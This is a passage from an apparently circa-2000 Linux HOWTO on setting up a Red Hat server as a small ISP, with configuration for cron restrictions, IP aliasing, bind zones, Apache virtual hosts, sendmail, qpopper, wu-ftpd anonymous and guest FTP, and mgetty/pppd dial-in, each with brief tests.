    To only allow root and you to submit cron jobs create a file called /etc/cron.allow that contains usernames that you want to be able to run cron jobs. This file might look like this:

    root
you
    Why should one restrict cron jobs? Local exploits to elevate privileges to root from, say, nobody, exist for some versions of cron.

I suggest you do not install X Windows as it will bring new concern that you might not be prepared to deal with.

4.6 Enable multiple IP addresses

Now we are ready to enable our machine to handle multiple IP addresses for virtual hosting. At that point, the IP Aliasing HOWTO might come handy (see link in References). For several reasons, IP-based virtual hosting is better (if you have enough IP addresses, that is). For instance, reverse lookups would succeed, if done from the browser side. It might also be needed for hosting cryptographically enabled websites (commonly known as "secure websites"). Older browsers (not supporting HTTP 1.1) will get unhappy too.

The changes would be concentrated in /etc/rc.d/ directory. To enable multiple IP addresses your kernel should support this. On a freshly installed RH Linux it does. To verify it one should look into the config file that was used to compile the kernel. In my case, it was /usr/src/linux/configs/kernel-2.2.17-i686.config since the machine has Pentium III processor. This file exists, if the kernel-source RPM package was installed. If line CONFIG_IP_ALIAS=y is present in the file than you are OK. While we are here, we can also confirm the ability to forward IP packets (needed for dialup users PPP). This ability is present, but not turned on by default (to turn it on do execute the following command echo 1 > /proc/sys/net/ipv4/ip_forward or add a line into /etc/sysctl.conf). Also needed is the support for PPP protocol (line CONFIG_PPP=m, this means PPP support is compiled as a kernel loadable module, CONFIG_PPP=y is also OK)

The examples will use the ridiculous IP addresses 111.222.333.444-111.222.333.777 from C block 111.222.333.0. 111.222.333.444 is a real host IP (that is configured during RH installation), 111.222.333.555-777 are virtual addresses and 111.222.333.888 is a dialin user address (can be more of those).

Lets assume we want to configure 3 virtual hosts.

Two sets of commands will be used:

  1. /sbin/ifconfig eth0:0 111.222.333.555
/sbin/ifconfig eth0:1 111.222.333.666
/sbin/ifconfig eth0:2 111.222.333.777

    These will bind the IP addresses to (virtual) interfaces eth0:0-eth0:2.

  2. /sbin/route add -host  111.222.333.555 dev eth0
/sbin/route add -host  111.222.333.666 dev eth0
/sbin/route add -host  111.222.333.777 dev eth0

    These commands will add routes for those addresses and connect those to real interface eth0 (ethernet card).

After doing them the ifconfig command output (ifconfig) will look like this:
eth0      Link encap:Ethernet  HWaddr 02:60:8C:4D:24:CE
          inet addr:111.222.333.444  Bcast:255.255.255.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:901597 errors:33 dropped:0 overruns:0 frame:823
          TX packets:433589 errors:0 dropped:0 overruns:0 carrier:0
          collisions:128327 txqueuelen:100
          Interrupt:5 Base address:0x280

eth0:0    Link encap:Ethernet  HWaddr 02:60:8C:4D:24:CE
          inet addr:111.222.333.555  Bcast:111.222.333.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:5 Base address:0x280

eth0:1    Link encap:Ethernet  HWaddr 02:60:8C:4D:24:CE
          inet addr:111.222.333.666  Bcast:111.222.333.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:5 Base address:0x280

eth0:2    Link encap:Ethernet  HWaddr 02:60:8C:4D:24:CE
          inet addr:111.222.333.777  Bcast:111.222.333.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          Interrupt:5 Base address:0x280

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:3924  Metric:1
          RX packets:26232 errors:0 dropped:0 overruns:0 frame:0
          TX packets:26232 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
All commands can be added to the bottom of /etc/rc.d/rc.local so that the changes are saved after reboot. Strictly speaking, rebooting machine is not required for adding new IP addresses. Please, do document all changes you do to your machines. Many a good sysadmin (or, should I say not-so-good?) were burned on that at some point in their careers.

TO TEST THE CHANGES

Do: ping virtual addresses as

ping 111.222.333.555
ping 111.222.333.666
ping 111.222.333.777

Should get: interfaces should be up

4.7 Configure DNS

Now we are ready to configure DNS. The easiest way would be to add the hostnames (real and all the virtual) that we want to be seen by the world to the configuration of some machine that already has bind (DNS daemon) running. But, since we are setting up ISP-in-a-box we might not be able to avoid "DNS fun".

Now, let me also try to defend the (well, questionable) choice of "outdated" version of bind 4.9.7 (last of the pre-8 series). I know that my arguments can be beaten, now that even bind 9 is out, but I consider bind 4.9.7 much more time-tested and stable. The arguments for upgrading to 8.x (provided http://www.acmebw.com/askmrdns/00444.htm and http://www.dns.net/dnsrd/servers.html and, I guess, at many other places. Here is a message from Theo de Raadt himself (the head of OpenBSD development) where he justifies the choice of bind 4 as part of OpenBSD-the most secure UNIX OS around. He also shudders at the amount of bugs the OpenBSD auditing team saw in BIND 8 source code) still didn't seem to convince many people. And, lets not forget the "exploit of 1999" - ADMROCKS, that gives remote root access to almost any Linux machine running bind prior to 8.1.2 patch 3. Judging by the INCIDENTS mailing list, this is still a very popular way to attack RH versions 5.0-6.1 if no recommended upgrades are installed. It is claimed that named (whatever version) should always be run in a chroot jail.

Here are the instructions, loosely following the DNS book from O'Reilly (a good one, highly recommended to all, but very casual DNS user).

  1. Find and install bind 4.9.7 either from RPM package (RH 4.2, if I am not mistaken - for that you can use RPMFIND.net, personally I didn't try this and so I am somewhat skeptical about installing RH 4.2 package on RH 6.1 system, but it might work) or from source ( bind 4.9.7, compiling it is a bit troublesome, but reading all the README files in the archive will definitely help).
  2. Create files and directories needed for bind:
    • /etc/named.boot
    • /etc/namedb
    • /etc/namedb/db.you
    • /etc/namedb/db.111.222.333
    • /etc/namedb/db.127.0.0
    • /etc/namedb/db.yoursite1
    • /etc/namedb/db.yoursite2
    • /etc/namedb/db.yoursite3
    This will be used for 3 virtual domains: yoursite1.com,yoursite2.com and yoursite3.com. One more important comment refers to secondary DNS issue. As all your domains and all their services will be hosted on the same machine, DNS backup in the form of secondary server doesn't make much sense: if your primary DNS is down everything else (mail, www, ftp, pop, etc) is down as well. But you do have to have a secondary DNS to register a domain. Try to convince somebody to put you in as a secondary or use a free DNS service (link is in Setting Up Your New Domain Mini-HOWTO).

  3. That is how they look like (if you are unfamiliar with bind 4.x configuration file format, please, do read either the O'Reilly DNS book or any of the HOWTOs or documents at bind pages, or, better, all of the above. You also have an option of using them without understanding, but this is a bad idea in general):

    /etc/named.boot

    This is the main config file for bind 4.9.x.

    directory /etc/namedb

;cache-obtained from internic, usually
cache   .                               db.cache

;main config files
primary you.com                         db.you
;reverse lookups
primary 333.222.111.in-addr.arpa        db.111.222.333
;localhost.localnet configs
primary 0.0.127.in-addr.arpa            db.127.0.0

;virtual Domains
primary yoursite1.net                     db.yoursite1
primary yoursite2.net                     db.yoursite2
primary yoursite3.net                     db.yoursite3

  4. /etc/namedb/db.you

    ; defines our local hosts at you.com, just one in our case, and its aliases
@                       IN      SOA     ns.you.com. root.ns.you.com. (
                                        2000012190 7200 1800 3600000 7200 )
;name servers and mail servers
                        IN      NS      ns.you.com.
                        IN      MX      10 ns.you.com.
                        IN      A       111.222.333.444
ns                      IN      A       111.222.333.444

;address of the canonical names
localhost               IN      A       127.0.0.1
gateway                 IN      A       111.222.333.111

;aliases (to use in ftp: ftp ftp.you.com etc, for clarity)
www                     CNAME   ns
mail                    CNAME   ns
ftp                     CNAME   ns
pop3                    CNAME   ns

  5. /etc/namedb/db.111.222.333

    ;reverse mapping of our IP addresses
.
;origin is 333.222.111.in-addr.arpa
333.222.111.in-addr.arpa. IN    SOA     ns.you.com. root.ns.you.com. (
                                        1999121501 7200 1800 3600000 7200 )
;name Servers
                        IN      NS      ns.you.com.

;addresses point to canonical name
444.333.222.111.in-addr.arpa.   IN      PTR     ns.you.com.
;dialins
888                             IN      PTR     dialup.you.com.

;virtual hosts
555                             IN      PTR    yoursite1.com.
666                             IN      PTR    yoursite2.com.
777                             IN      PTR    yoursite3.com.
  6. /etc/namedb/db.127.0.0

    ;local loop config file
0.0.127.in-addr.arpa.   IN      SOA     ns.you.com. root.ns.you.com. (
                                        1997072200 7200 1800 3600000 7200 )
                        IN      NS      ns.you.com.
1                       IN      PTR     localhost.
  7. /etc/namedb/db.yoursite1

    ; yoursite1.com
@                       IN      SOA     virtual root.virtual (
                                        1999092201      ; Serial: update each time the file is changed
                                        7200            ; refresh, sec
                                        1800            ; retry, sec
                                        3600000         ; expire, sec
                                        7200 )          ; minimum TTL
;name servers
                        IN      NS      ns.you.com.
                        IN      MX      10 virtual
                        IN      A       111.222.333.555
;address of the canonical names
localhost               IN      A       127.0.0.1
gateway                 IN      A       111.222.333.111
virtual                 IN      A       111.222.333.555
                        IN      MX      10 virtual
;aliases
www                     CNAME   virtual
mail                    CNAME   virtual
ftp                     CNAME   virtual
pop3                    CNAME   virtual
  8. /etc/namedb/db.yoursite2

    ; yoursite2.com
@                       IN      SOA     virtual root.virtual (
                                        1999092201      ; Serial: update each time the file is changed
                                        7200            ; refresh, sec
                                        1800            ; retry, sec
                                        3600000         ; expire, sec
                                        7200 )          ; minimum TTL
;name servers
                        IN      NS      ns.you.com.
                        IN      MX      10 virtual
                        IN      A       111.222.333.666
;address of the canonical names
localhost               IN      A       127.0.0.1
gateway                 IN      A       111.222.333.111
virtual                 IN      A       111.222.333.666
                        IN      MX      10 virtual
;aliases
www                     CNAME   virtual
mail                    CNAME   virtual
ftp                     CNAME   virtual
pop3                    CNAME   virtual
  9. /etc/namedb/db.yoursite3

    ; yoursite3.com
@                       IN      SOA     virtual root.virtual (
                                        1999092201      ; Serial: update each time the file is changed
                                        7200            ; refresh, sec
                                        1800            ; retry, sec
                                        3600000         ; expire, sec
                                        7200 )          ; minimum TTL
;name servers
                        IN      NS      ns.you.com.
                        IN      MX      10 virtual
                        IN      A       111.222.333.777
;address of the canonical names
localhost               IN      A       127.0.0.1
gateway                 IN      A       111.222.333.111
virtual                 IN      A       111.222.333.777
                        IN      MX      10 virtual
;aliases
www                     CNAME   virtual
mail                    CNAME   virtual
ftp                     CNAME   virtual
pop3                    CNAME   virtual
These configuration files will allow you to host these three virtual domains and your real domain you.com.

TO TEST THE CHANGES

Do: check address resolution

nslookup www.you.com
nslookup www.yoursite1.com
nslookup www.yoursite2.com
nslookup www.yoursite3.com

Should get: nslookup returns the correct IP addresses for all hostnames

4.8 Configure httpd

To server html pages httpd daemon is used. RH 7.0 comes with Apache 1.3.12 (latest version is currently 1.3.14 and the alpha of the upcoming 2.0 is released). At that point it is wise to check RH site or its mirrors ( RH Mirrors) for updates.

Most changes that we are about to make concentrate in /etc/httpd/httpd.conf (RH standard location for Apache configuration). Default location for html pages (shown when you go to www.you.com) is /home/httpd/html. You can allocate directories for virtual hosts within the same /home/httpd, shown below are the following locations for them: /home/httpd/yoursite1, /home/httpd/yoursite2 and /home/httpd/yoursite3.

Below I provide the minimum necessary changes for your /etc/httpd/httpd.conf file:

<VirtualHost 111.222.333.555>
ServerAdmin webmaster@you.com
DocumentRoot /home/httpd/yoursite1
ServerName www.yoursite1.com
ErrorLog yoursite1-error_log
TransferLog yoursite1-access_log
</VirtualHost>

<VirtualHost 111.222.333.666>
ServerAdmin webmaster@you.com
DocumentRoot /home/httpd/yoursite2
ServerName www.yoursite2.com
ErrorLog yoursite2-error_log
TransferLog yoursite2-access_log
</VirtualHost>

<VirtualHost 111.222.333.777>
ServerAdmin webmaster@you.com
DocumentRoot /home/httpd/yoursite3
ServerName www.yoursite3.com
ErrorLog yoursite3-error_log
TransferLog yoursite3-access_log
</VirtualHost>

That configuration will cause all logs to be stored in one directory (whatever is specified as such) for all sites. If that is not desired the ErrorLog and TransferLog directives can be changed to point to the proper location separately for each virtual host. The pages for the "real" www.you.com will be stored in default location /home/httpd/html.

For more information, look at http://www.apache.org, Apache http server homepage. They have a lot of support pages, including those for virtual hosting setup (both IP-based and name-based [uses just 1 IP address]). Also useful is Linux WWW HOWTO (link in References section), section on virtual hosting.

TO TEST THE CHANGES

Do: access the test pages via Lynx browser or telnet to port 80

lynx http://www.you.com
lynx http://www.yoursite1.com
lynx http://www.yoursite2.com
lynx http://www.yoursite3.com

Should get: Test pages will be returned (if you put them in the proper directories)

4.9 Configure sendmail

Setup

Now we will deal with sendmail. Again, proposed are the minimum necessary changes to the stock RH /etc/sendmail.cf and /etc/sendmail.cw.

  1. look for the lines that starts from Dj$w.foo.com and change it to point to your main ("real", not virtual) server name (you.com, so it will looks like this Dj$w.you.com).
  2. locate file /etc/sendmail.cw and make it look like this
    # sendmail.cw - include all aliases for your machine here.
you.com
ns.you.com
mail.you.com
yoursite1.com
mail.yoursite1.com
yoursite2.com
mail.yoursite2.com
yoursite3.com
mail.yoursite3.com
    These are necessary so that sendmail accepts mail for these domains.

This does not address the issue of user@yoursite1.com and user@yoursite2.com mail getting to different mailboxes. For that look into /etc/mail/virtusertable functionality (appropriate line in /etc/sendmail.cw is Kvirtuser hash -o /etc/mail/virtusertable, detailed info may be added here later). Excellent documentation on that is on http://www.sendmail.org/virtual, sendmail reference on virtual hosting.

It is worthwhile to add that linuxconf proposes a somewhat different scheme for virtual email with separate spool directories for all domains (that cleanly solves the above "name-conflict" issue"), but that requires a special virtual-aware POP/IMAP server (included with RH) and is somewhat more complicated. It is recommended for bigger email volume sites with many users within each domain.

A few words about sendmail, it is a good idea (good from the security standpoint) to have sendmail run from inetd.conf and not as a standalone daemon. For that we need to add it to /etc/inetd.conf, remove it from /etc/rc.d/init.d, add the sendmail queue processing to cron. Here is what you have to do:

  1. Add the following line to /etc/inetd.conf:
    smtp  stream  tcp     nowait  root    /usr/sbin/tcpd  /usr/sbin/sendmail -bs

    Or, if using xinetd create a file sendmail in /etc/xinetd.d/ similar to

    # default: on
service sendmail
{
        socket_type     = stream
        wait            = no
        user            = root
        server          = /usr/bin/sendmail -bs
}
  2. Edit /etc/rc.d/init.d/sendmail to have exit 0 somewhere in the very beginning (might not be the best way, be sure to document the changes you do to these files) so that this file does nothing instead of starting sendmail
  3. By editing your (root's) crontab (to edit do crontab -e) add a line like this
    */20 * * * * /usr/sbin/sendmail -q
    That would process sendmail queue every 20 min (if it exists). The described steps will simplify sendmail access control and will let you regulate who can talk to your 25 port, not just who can send email through you. The lines in /etc/hosts.allow that let all machines from .com and .org domains send you email are as follows
    sendmail: .com .org
    Please, note, that the daemon name, not protocol name is used here (sendmail, NOT smtp).

That would allow your system to handle email for all those domains.

Troubleshooting

PROBLEM: mail that you are trying to send is denied with a message Relaying denied

SOLUTION:Look into your /etc/sendmail.cw. Are you sure all possible variations of your hostname and of your virtual hostnames are here? Look in the message headers and see from what machine it was rejected from: does it look like another name of yours that you missed?

TO TEST THE CHANGES

Do: access the SMTP port 25 via telnet

telnet www.you.com 25
telnet www.yoursite1.com 25
telnet www.yoursite2.com 25
telnet www.yoursite3.com 25

Should get: Sendmail should respond with prompt and version number! Type QUIT to get out of the prompt.

4.10 Configure POP3

Setup

POP3 configuration is easy (no "virtualization" is required for this setup). RH comes equipped with imapd IMAP server. If you do not want to use IMAP functionality or do not like this particular implementation (buffer overflow bugs were discovered in it at some point) the good idea is to use qpopper, free POP3 daemon from Eudora http://www.eudora.com/freeware/qpop.html. At the time of writing the released version is qpopper 3.0.2. It is important to note that versions earlier than 2.5 contain a buffer overflow error that allows remote root exploit to be executed. Same problem plagues "public betas" up to 3.0 release 21. Use either 2.53 or the latest 3.0 (the former is better audited and the latter is better suited for RH - seamlessly works with PAM authentication). I suggest using 3.0, so the instructions below apply to that case. As of April 13, Qpopper 3.0 is no longer beta, but a regular software. As of recently, the bug was discovered even in Qpopper 2.53 that allows the attacker to obtain a shell with group-id 'mail', potentially allowing read/write access to all mail.

  1. wget ftp://ftp.qualcomm.com/eudora/servers/unix/popper/qpopper3.0.tar.Z

    Retrieve the archive from Eudora site.

  2. tar zxvf qpopper3.0.tar.Z

    Uncompress and untar the contents.

  3. cd qpopper

    If you need explanation for this step, please, discontinue reading the document.

  4. ./configure --enable-specialauth --with-pam --enable-log-login --enable-shy

    The options here are:

    --enable-specialauth : allows MD5 and shadow passwords

    --with-pam: allows the use of RH Pluggable Authentication Modules (PAM) technology

    --enable-log-login: log successful logins, not only failures (not really that useful as it will use tcpd wrappers logging anyway)

    --enable-shy: conceal version number (yeah, a little pesky manifestation of "security through obscurity")

  5. make

    That compiles the popper

  6. /bin/cp popper/popper /usr/local/bin

    Copies the binary to /usr/local/bin

  7. Now set the mode to
    -rwx------   1 root     root       297008 Feb 16 15:41 /usr/local/bin/popper
    by using the command:
    chmod 700 /usr/local/bin/popper
  8. Add a line to /etc/inetd.conf
    pop3  stream tcp        nowait root /usr/sbin/tcpd /usr/local/bin/popper -s
    That would cause the tcpd wrapper to control access to popper. The lines to add in /etc/hosts.allow are
    popper: .good.com .nice.org
    That will allow people from domains good.com and nice.org to read email via POP3 client from your machine.

    To cause qpopper to use PAM authentication one must create a file for POP3 service in /etc/pam.d/ directory. File should be named "pop3" (same as line in /etc/services and qpopper compile-time option). The file looks like this:

    auth       required     /lib/security/pam_pwdb.so shadow
account    required     /lib/security/pam_pwdb.so
password   required     /lib/security/pam_cracklib.so
password   required     /lib/security/pam_pwdb.so nullok use_authtok md5 shadow
session    required     /lib/security/pam_pwdb.so

  9. For whatever reason stock RH lists line in /etc/services file for POP3 protocol as "pop-3". And since qpopper prefers to see "pop3", it should be edited to be:
    pop3            110/tcp         # pop3 service
That would allow all user to get their email via any reasonable mail client.

Troubleshooting

PROBLEM: you are connecting to your POP server with valid password and username and they are rejected with a message Password incorrect.

SOLUTION: PAM doesn't like your setup. This message is common for qpopper 2.53, use 3.0 and it should disappear. Otherwise, look into /etc/pam.d/pop3 that you created. Is it OK?

TO TEST THE CHANGES

Do: access the POP3 port 110 via telnet

telnet www.you.com 110

Should get: Qpopper should respond with prompt and version number! Type QUIT to get out of the prompt.

4.11 Configure FTP server

Anonymous FTP setup

We will use only anonymous ftp and will not allow any non-anonymous user any access. Here we describe the anonymous ftp server setup that allows anonymous uploads. Any self-respecting guide on the subject will tell you that "this is a bad thing". But how is it worse than allowing users to ftp from untrusted location and transfer their passwords in clear text? Not everybody (especially, using Windows) can easily setup an ftp tunnel via ssh. But you definitely should restrict access via tcp wrappers and watch for "warez puppies" (people who will try to exchange stolen software via your ftp site if you allow unlimited downloads!).

I suggest using the stock RH wu-ftpd (version 2.6.1 at the time of writing). While it is rumored that there are "more secure" ftp daemons (Pro-ftpd), wu-ftp appears to be one most commonly used. Recently a series of bugs was again discovered in wu-ftp (even in 2.6.x versions) and its reputation as the most popular ftp daemon seem to be dwindling. CERT has issued an advisory concerning WU-FTPD and all ftp daemons derived from BSD's final release.

RH installs the wu-ftpd (package wu-ftpd-2.6.1-1) by default in server configuration. You are encouraged to check for updates as running ftp is an important security concern. There is also a separate rpm package that creates a separate directory structure for anonymous ftp home (anonftp-2.8-1). As anonymous ftp always does a chroot() system call (puts the user in the restricted file system) all necessary binaries and libraries are required. The typical directory looks like this (output of ls -lRa in /home/ftp):

.:
total 20
d--x--x--x   2 root     root         4096 Feb 15 06:22 bin
d--x--x--x   2 root     root         4096 Feb 15 06:22 etc
drwxrws-wt   2 root     wheel        4096 Feb 18 19:51 incoming
drwxr-xr-x   2 root     root         4096 Feb 15 06:22 lib
drwxr-sr-x   3 root     ftp          4096 Feb 15 23:34 pub

bin:
total 344
---x--x--x   1 root     root        15204 Mar 21  1999 compress
---x--x--x   1 root     root        52388 Mar 21  1999 cpio
---x--x--x   1 root     root        50384 Mar 21  1999 gzip
---x--x--x   1 root     root        29308 Mar 21  1999 ls
----------   1 root     root        62660 Mar 21  1999 sh
---x--x--x   1 root     root       110668 Mar 21  1999 tar
lrwxrwxrwx   1 root     root            4 Feb 15 06:22 zcat -> gzip

etc:
total 40
-r--r--r--   1 root     root           53 Mar 21  1999 group
-rw-r--r--   1 root     root        31940 Mar 21  1999 ld.so.cache
-r--r--r--   1 root     root           79 Mar 21  1999 passwd

incoming:
total 0

lib:
total 1212
-rwxr-xr-x   1 root     root        77968 Mar 21  1999 ld-2.1.1.so
lrwxrwxrwx   1 root     root           11 Feb 15 06:22 ld-linux.so.2 -> ld-2.1.1.so
-rwxr-xr-x   1 root     root      1031004 Mar 21  1999 libc-2.1.1.so
lrwxrwxrwx   1 root     root           13 Feb 15 06:22 libc.so.6 -> libc-2.1.1.so
-rwxr-xr-x   1 root     root        77196 Mar 21  1999 libnsl-2.1.1.so
lrwxrwxrwx   1 root     root           15 Feb 15 06:22 libnsl.so.1 -> libnsl-2.1.1.so
-rwxr-xr-x   1 root     root        33596 Mar 21  1999 libnss_files-2.1.1.so
lrwxrwxrwx   1 root     root           21 Feb 15 06:22 libnss_files.so.2 -> libnss_fi
les-2.1.1.so

pub:
total 0

Notice though, that for whatever reason, RH puts a copy of /bin/sh in /home/ftp/bin. I do not feel good about having it there, so it is chmoded to 0 by chmod 0 sh (can also be removed completely, but RPM might be slightly unhappy if you attempt to remove the package afterwards).

Permissions on /home/ftp directories and files should be carefully considered. In the above example, all of the system files are owned by root and are only readable (executable where necessary) by all. Files in bin are only executable (as is the directory itself to prevent listing of its contents).

The interesting part is permissions on pub and incoming.

Below follows the configuration file for ftp daemon (/etc/ftpaccess). It is well commented to the degree of being self-explanatory:

#ideas from <htmlurl url="ftp://ftp.wu-ftpd.org/pub/wu-ftpd/upload.configuration.HOWTO" name="ftp://ftp.wu-ftpd.org/pub/wu-ftpd/upload.configuration.HOWTO">
#only allow anonymous users-no other classes defined
class anonftp anonymous *

#number of users restriction with message shown when too many
limit   remote  10  Any                 /toomany.msg

#prevent uploads everywhere (for now)
upload /home/ftp * no

#display the contents of some files upon login/cd
readme  README*    login
readme  README*    cwd=*
message /welcome.msg            login
message .message                cwd=*

#log all file transfers DISABLED
#log transfers anonymous

#prevent these file operations for anon users
delete          no      anonymous
overwrite       no      anonymous

#fast cd and aliasing for the same reason (not really necessary, but convenient)
alias   inc:    /incoming
cdpath  /incoming
cdpath  /pub
cdpath  /

#what is allowed in paths
path-filter  anonymous  /etc/pathmsg  ^[-A-Za-z0-9_\.]*$  ^\.  ^-

#prevent the retrieval of some file
noretrieve .notar

#allow upload with NO subdirectory creation by anon users
upload    /home/ftp    /incoming   yes root wheel 0400 nodirs

#allow upload with subdirectory creation by anon users DISABLED
#upload    /home/ftp    /incoming   yes root wheel 0400 dirs

#prevent anon users to GET files from incoming (you might not like it, but it
#is a good idea-to prevent some people from using your ftp server to store
#their own stuff, pics, warez etc)
noretrieve /home/ftp/incoming
That would allow only anonymous users to do downloads and uploads in somewhat (!) controlled manner. Make sure you update the permissions on files that you changed after you upgrade the RPM packages next time.

Guest FTP setup

Guest FTP users are those that have valid usernames and passwords (unlike anonymous), but do not have access to the whole directory structure (unlike real ones). So they are chrooted after authentication. Guest users can do uploads in this configuration.

Easy 21-step directions for that are provided below ;-)

Software used: wu-ftpd-2.6.1

Sample username will be created: ftpguy, user ID=505.

Her group will be: lusers, group ID=701.

If you want more users of the same sort, they should be the members of the same group. For that it might be good to change the directory structure somewhat so that all of them use the same passwd file and the same static ls. But, for better separation you can give each of them their own files.

  1. adduser ftpguy

    creates an entry in /etc/passwd

  2. passwd ftpguy change password to whatever
  3. Edit file /etc/passwd, last line (that contains our new user) should look like this
    ftpguy:x:505:701::/home/ftpguy/./:/etc/ftponly
    yes, that is "slash"-"dot"-"slash" after his home directory.
  4. Edit file /etc/shells, add line, below
    /etc/ftponly
    This file has to exist in some newer Linux distributions (contrary to what is claimed at Guest FTP HOWTO). Sometimes one can put /bin/true in its place.
  5. Edit file /etc/group, add line, below
    lusers:x:701:ftpguy
  6. cd /home
  7. chown ftpguy.lusers ftpguy
    this directory is created by adduser command
  8. cd ftpguy; mkdir etc bin ; chown root.daemon etc bin
    this creates a directory tree for chroot
  9. chmod 111 etc bin
    this sets very conservative permissions on directories within the chrooted tree
  10. cp ~/static_ls /home/ftpguy/bin/ls
    obtaining static (not calling any libraries) version of /bin/ls: this directory ( http://www.stanford.edu/group/itss-ccs/security/binaries/linux/redhat/) contains static version of many RH 6.x/7.x-compatible utilities, including ls (local copy is http://www.chuvakin.org/ispdoc/ls.gz here, gunzip ls.gz to run)
  11. cd bin ; chown root.bin ls

  12. chmod 111 ls
    this sets very conservative permissions on binaries within chroot
  13. cd ../etc
  14. Create file /home/ftpguy/etc/passwd as follows
    root:*:0:0::/:/etc/ftponly
ftpguy:*:505:701::/home/ftpguy/./:/etc/ftponly
  15. Create file /home/ftpguy/etc/group, contents follow
    root::0:root
lusers::701:ftpguy

  16. chown root.daemon passwd group
    this sets proper ownership of these files
  17. chmod 444 passwd group
    this sets minimum necessary permission on that file
  18. cd ~ftpguy; touch .forward
    this creates .forward file
  19. chown root.root .forward ; chmod 400 .forward
    and locks it for security reasons
  20. cd /etc
  21. Add the facilities for handling guest users into /etc/ftpaccess
    #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
class anonftp guest,anonymous *

delete     no   anonymous,guest               # delete permission?
overwrite  no   anonymous,guest               # overwrite permission?
rename     no   anonymous,guest               # rename permission?
chmod      no   anonymous,guest               # chmod permission?
umask      no   anonymous,guest               # umask permission?

guestgroup lusers

limit   remote  10  Any                 /toomany.msg
upload /home/ftp * no
readme  README*    login
readme  README*    cwd=*
message /welcome.msg            login
message .message                cwd=*

alias   inc:    /incoming
cdpath  /incoming
cdpath  /pub
cdpath  /

path-filter  anonymous  /etc/pathmsg  ^[-A-Za-z0-9_\.]*$  ^\.  ^-
noretrieve .notar
upload    /home/ftp    /incoming   yes root wheel 0400 nodirs
noretrieve /home/ftp/incoming

Lets test this beast:

localhost[anton]#1008: ftp localhost
Connected to anton.
220 anton FTP server (Version wu-2.6.1(1) Mon Feb 28 10:30:36 EST 2000) ready.
Name (localhost:anton): ftpguy
331 Password required for ftpguy.
Password:
230 User ftpguy logged in.  Access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 4
drwx------   4 505      701          1024 Apr  8 02:16 .
drwx------   4 505      701          1024 Apr  8 02:16 ..
-r--------   1 0        0               0 Apr  8 02:16 .forward
d--x--x--x   2 0        2            1024 Apr  8 02:09 bin
d--x--x--x   2 0        2            1024 Apr  8 02:15 etc
226 Transfer complete.
ftp> mkdir TEST
257 "/TEST" new directory created.
ftp> ls -l
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 3
-r--------   1 0        0               0 Apr  8 02:16 .forward
drwxr-xr-x   2 505      701          1024 Apr  8 02:32 TEST
d--x--x--x   2 0        2            1024 Apr  8 02:09 bin
d--x--x--x   2 0        2            1024 Apr  8 02:15 etc
226 Transfer complete.
ftp>

and so on.

TO TEST THE CHANGES

Do: access the ftp server using ftp client

ftp www.you.com

Should get: ftp daemon should respond with prompt and version number!

4.12 Configure dialin

Now the fun part starts. We want the machine to allow dial-in access via attached (inserted?) modem or modems. It will provide either regular shell or restricted shell (that only executes pppd daemon). Windows 95/98 users should be able to effortlessly dial in using all default settings of their computers.

Linux setup

To handle login via serial line some version of getty program is needed. This program monitors the serial line (/dev/ttyS1 will be used throughout the document, see serial HOWTO for details) and upon connection shown the login prompt or starts a program.

I suggest using the mgetty program (as it has more features and is easier to setup than some of the competitors).

RH comes with mgetty-1.1.21-2, that also has extensions to receive faxes and voice mail (if the modem supports this). Check whether mgetty is installed by doing: rpm -qa | grep mgetty.

After installing mgetty some reconfiguration is necessary. The files that should be changed and the details follow:

  1. /etc/inittab

    That enables mgetty to start when system is booted and be respawned accordingly. These lines should be added in the end.

    #for dialins use mgetty
#note this S1 in the beginning of the line and ttyS1 in the end
S1:2345:respawn:/sbin/mgetty ttyS1

  2. /etc/ppp/options

    This file controls the pppd daemon whenever it is started. Some of the options here are optional (hey, that why they are called options, right?).

    auth -chap +pap login modem crtscts debug proxyarp lock
ms-dns 111.222.333.444

    Here is their brief meaning:

    • auth : use some sort of authentication for dialin clients
    • -chap: not CHAP
    • +pap: use PAP
    • login : use the system password file for authenticating the client using PAP and record the user in the system wtmp file, /etc/ppp/pap-secrets should still be present (see below)
    • modem : use the modem control lines (for carrier detection and other stuff)
    • crtscts : use hardware flow control
    • debug : log extra info (might be removed after everything is fine)
    • proxyarp : this is needed to connect from the client to the Internet, not just to the LAN you dialed into
    • lock: pppd should create a lock file for the serial device
    • ms-dns 111.222.333.444: this info is provided to Windows box as a default DNS server
    Look at pppd man page for all the juicy details (parts of the above info is adapted from there)

    Another note is appropriate here. Some people reported that they had more success with +chap -pap in authenticating both Windows and Linux dial-up clients. If you are having problems, try changing /etc/ppp/options to have +chap -pap. In this case the new file /etc/ppp/chap-secrets should be created (same contents as recommended /etc/ppp/pap-secrets).

    Some other people reported that having default line from /etc/mgetty+sendfax/login.config works fine. I am very happy to hear that, and I never claimed that my way to set things up is the only true way.

  3. /etc/ppp/options.ttyS1

    This file serves purpose similar to the previous one, but only applies to particular modem line. It specifies the IP address given to the remote machine (dynamic, in some sense, if you have more than one line) and the local IP as well.

    111.222.333.444:111.222.333.888

  4. /etc/mgetty+sendfax/login.config

    This file is the main mgetty control file. Mgetty is Windows-PPP-aware, so it has provisions to start pppd automatically upon receiving connect from the Windows machine.

    These lines should be present:

    /AutoPPP/ -     -       /usr/sbin/pppd

    Before adding them, check that some other version of similar command is absent there (commented out by default).

  5. /etc/ppp/pap-secrets

    This is similar to /etc/password file, but only used for dialins and contains plain text passwords (apparently, only visible to root). All users that you want to be able to dialin must have their usernames and password listed in this file. They should enter the same username and password into Windows Dial Up Networking configuration.

    # Secrets for authentication using PAP
# these two users below can use dialin
# client        server  secret pword   remote IP addresses
dialinuser1     *       b1ab1a!?         111.222.333.888
dialinuser2     *       p8sSw0rD         111.222.333.888

